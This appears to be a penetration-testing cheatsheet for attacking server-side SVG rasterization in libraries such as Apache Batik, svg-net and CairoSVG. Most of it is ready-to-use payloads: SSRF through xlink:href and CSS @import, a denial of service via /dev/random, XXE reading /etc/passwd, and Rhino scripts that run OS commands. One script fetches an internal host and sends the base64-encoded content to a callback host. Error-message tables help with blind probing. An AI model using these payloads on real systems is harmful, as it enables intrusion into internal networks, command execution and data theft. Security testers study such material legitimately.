- SVG rasterization cheatsheet
The specification says that:
This specification defines the XML Linking Language (XLink) Version 1.1, which allows elements to be inserted into XML documents in order to create and describe links between resources. It uses XML syntax to create structures that can describe links similar to the simple unidirectional hyperlinks of today's HTML, as well as more sophisticated links.
In case of SVG files it allows to reference external or embedded resources such as images, XML-based documents, Fonts, ICC profiles. During server-side rasterization it could lead to blind or semi-blind server-side request forgery (SSRF) vulnerabilities. Blind if content validation is missing or exceptions suppressed.
feImage:
<filter id="externalFeImage" x="0" y="0" width="1" height="1">
<feImage xlink:href="http://internal-resource#id-fragment"/>
</filter>
<rect id="feImage" x="0" y="0" width="100%" height="100%" filter="url(#externalFeImage)" />
altGlyph (altGlyphDef, glyphRef):
<text x="30" y="130">
<altGlyph xlink:href="http://internal-resource#id-fragment"></altGlyph>
</text>
use:
<use xlink:href="http://internal-resource#id-fragment" />
text (tref):
<text fill="none">
<tref xlink:href="http://internal-resource#id-fragment"/>
</text>
image:
<image width="100" height="100" xlink:href="http://internal-resource"></image>
<font-face font-family="External Font">
<font-face-src>
<font-face-uri xlink:href="http://internal-resource"/>
</font-face-src>
</font-face>
<text font-family="'External Font'">external font</text>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<color-profile name="external-profile" xlink:href="http://internal-resource"></color-profile>
<path fill="rgb(179, 70, 25) icc-color(external-profile, 0.702, 0.2745, 0.098)"/>
</svg>
<?xml-stylesheet type="text/css" href="http://internal-resource" ?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
</svg>
<style type="text/css">
@import url(http://internal-resource);
</style>
Some CSS engines don't check for the self-references during @import
rule processing. This could be used for DoS scenarios by triggering infinite CSS loading using specially crafted styles file.
In some cases you can trick a library into loading data from the infinite stream, causing significant resource consumption on the server side. Although, it won't crash the application, but it's still can be used for DoS scenarios.
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<style type="text/css">
@import url(file:///dev/random);
</style>
</svg>
Pseudorandom number generators:
/dev/random
/dev/urandom
/dev/arandom
rect:
<rect width="100" height="100" fill="url(http://internal-resource)"></rect>
path:
<path fill="url(http://internal-resource)"></path>
It worth to check if the library processing javascript, because in some cases it could lead to remote code execution.
<script type="application/javascript">
alert(1);
</script>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
onload="alert(1)">
</svg>
<script type="text/ecmascript" xlink:href="http://external-resource"></script>
Apache Batik offers script execution capabilities from the box. It uses Mozilla Rhino script intepreter and allows to use Java objects and classes. It has pretty weak ClassShutter
and doesn't apply script sandboxing on the framework level. This makes it possible for attackers to achive Java code execution on the target machine. It recommended to use Java Security manager for sandboxing purposes.
It worth mentioning that
batik-rasterizer
application applies security, and restricts access to all critical resources using JavaSecurityManager
.
- Time-based Rhino fingerprinting:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/ecmascript">
// Sleep for 30 seconds
importPackage(Packages.java.lang);
Thread.sleep(30000);
</script>
</svg>
- Rhino OS command execution:
Java policy:
permission java.io.FilePermission "<<ALL FILES>>", "read, execute";
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/ecmascript">
importPackage(Packages.java.lang);
Runtime.getRuntime().exec("open -a Calculator");
</script>
</svg>
- Server-Side Request Forgery:
Java policy:
permission java.net.SocketPermission "*", "listen, connect, resolve, accept";
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/ecmascript">
importPackage(Packages.java.net);
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.org.apache.commons.io);
var targetC = new java.net.URL("http://target-internal-host").openConnection();
var targetContent = IOUtils.toString(targetC.getContent());
var encodedContent = Base64.getUrlEncoder().encodeToString(new java.lang.String(targetContent).getBytes());
var callbackC = new java.net.URL("http://callback-host/callback?resp="+encodedContent).openConnection();
callbackC.getContent();
</script>
</svg>
It is still possible to get some impact from sandboxed script execution - you can get details about application internals (except classes from prohibited namespaces), such as class names, their methods and fields by using reflection mechanism.
Prohibited classes:
org.mozilla.javascript.*
org.apache.batik.script.*
org.apache.batik.apps.*
org.apache.batik.bridge.ScriptingEnvironment.*
org.apache.batik.bridge.BaseScriptingEnvironment.*
- Fingerprinting available classes:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/ecmascript">
<![CDATA[
importPackage(Packages.java.lang)
var cn = Class.forName("org.apache.batik.script.ImportInfo");
// Get class info
var cnConstructors = cn.getConstructors();
for (var i=0; i<cnConstructors.length; i++){
System.out.println(cnConstructors[i]);
}
var cnMethods = cn.getMethods();
for (var i=0; i<cnMethods.length; i++){
System.out.println(cnMethods[i]);
}
var cnFields = cn.getFields();
for (var i=0; i<cnFields.length; i++){
System.out.println(cnFields[i]);
}
// Get classes in the package
var classes = cn.getClasses();
System.out.println("Classes:");
for (var i=0; i<classes.length; i++){
System.out.println(classes[i].getCanonicalName());
}
]]>
</script>
</svg>
Old but gold. Most of the libraries don't allow to use XML external entities or DTD, however, this option could be enabled by developers. Defenetly worth to check.
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>
&xxe;
</text>
</svg>
- Repository: https://github.com/apache/xmlgraphics-batik
- User Agent:
Batik / {version}
External Resource | Config |
---|---|
Images & Documents |
Supported schemas:
Related CVEs: |
Fonts |
Supported schemas:
|
CSS |
Supported schemas:
|
ICC profiles |
Supported schemas:
|
Embedded/External Scripts |
|
External entities & DTD |
Related CVEs: |
Name | Message |
---|---|
java.io.IOException | Server returned HTTP response code: {StatusCode} for URL |
java.io.IOException | No such file or directory |
java.net.SocketException | Unexpected end of file from server |
java.net.ConnectException | Connection refused (Connection refused) |
javax.xml.stream.XMLStreamException | Content is not allowed in prolog. |
org.xml.sax.SAXParseException | The element type "{tag_name}" must be terminated by the matching end-tag "{tag_name}" |
Repository: https://github.com/svg-net/SVG
External Resource | Config (Enabled) |
---|---|
Documents |
Supported schemas:
|
Images |
Supported schemas:
|
Fonts |
Supported schemas:
|
CSS | - |
ICC profiles | - |
External DTD / Entities |
|
Ecmascript processing | - |
- Repository: https://github.com/Kozea/CairoSVG
- User-Agent:
CairoSVG {version}
External Resource | Config (Enabled) |
---|---|
Documents |
Supported schemas:
|
Images |
Supported schemas:
|
Fonts | - |
CSS |
Supported schemas:
|
ICC profiles | - |
External DTD / Entities | - |
Ecmascript processing | - |
Name | Message |
---|---|
PIL.UnidentifiedImageError | cannot identify image file |
urllib.error.URLError | urlopen error ftp error: TimeoutError(60, 'Operation timed out') |
urllib.error.URLError | urlopen error [Errno 2] No such file or directory: '{filename}' |
urllib.error.URLError | urlopen error [Errno 61] Connection refused |
xml.etree.ElementTree.ParseError | syntax error: line 1, column 0 |